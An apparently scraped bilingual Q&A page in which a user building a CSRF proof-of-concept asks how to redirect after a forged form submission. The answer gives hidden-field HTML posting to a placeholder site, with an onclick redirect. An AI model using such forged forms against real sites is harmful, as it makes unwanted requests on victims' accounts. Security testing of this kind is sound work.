以HTML提交表单后重定向到页面 [英] Redirecting to a page after submitting form in HTML

查看:202
本文介绍了以HTML提交表单后重定向到页面的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我刚开始使用HTML编码.经过数小时的搜索,互联网找到了解决方法,但失败了,所以我在这里.我在这里设置了CSRF概念验证页面,我希望它重定向到另一个页面,该页面将执行CSRF实施的有效负载.

I'm fairly new to coding in HTML. After hours of searching the internet for a way to do this, I failed and so I'm here. I was setting up a CSRF Proof of concept page here, I want it to redirect to another page which will execute the payload that the CSRF had implemented.

<html>
  <body>
    <form action="https://website.com/action.php?" method="POST">
      <input type="hidden" name="fullname" value="john" />
      <input type="hidden" name="address" value="street 2, 32 ave" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

因此,使用提交此表单后,它所做的只是重定向到此页面

So after this form is submitted using, all it does is redirect to this page

但是,我希望它重定向到另一个URL并提交该表单.

But instead of that, I want it to redirect to another URL as well as submit that form.

推荐答案

对于其他遇到相同问题的人,我自己也想出了办法.

For anyone else having the same problem, I figured it out myself.

    <html>
      <body>
        <form target="_blank" action="https://website.com/action.php" method="POST">
          <input type="hidden" name="fullname" value="Sam" />
          <input type="hidden" name="city" value="Dubai&#32;" />
          <input onclick="window.location.href = 'https://website.com/my-account';" type="submit" value="Submit request" />
        </form>
      </body>
    </html>

我要做的就是在表单上内联添加target ="_ blank"属性以内联在新页面中打开响应,并使用onclick提交按钮重定向另一页面.

All I had to do was add the target="_blank" attribute to inline on form to open the response in a new page and redirect the other page using onclick on the submit button.

这篇关于以HTML提交表单后重定向到页面的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆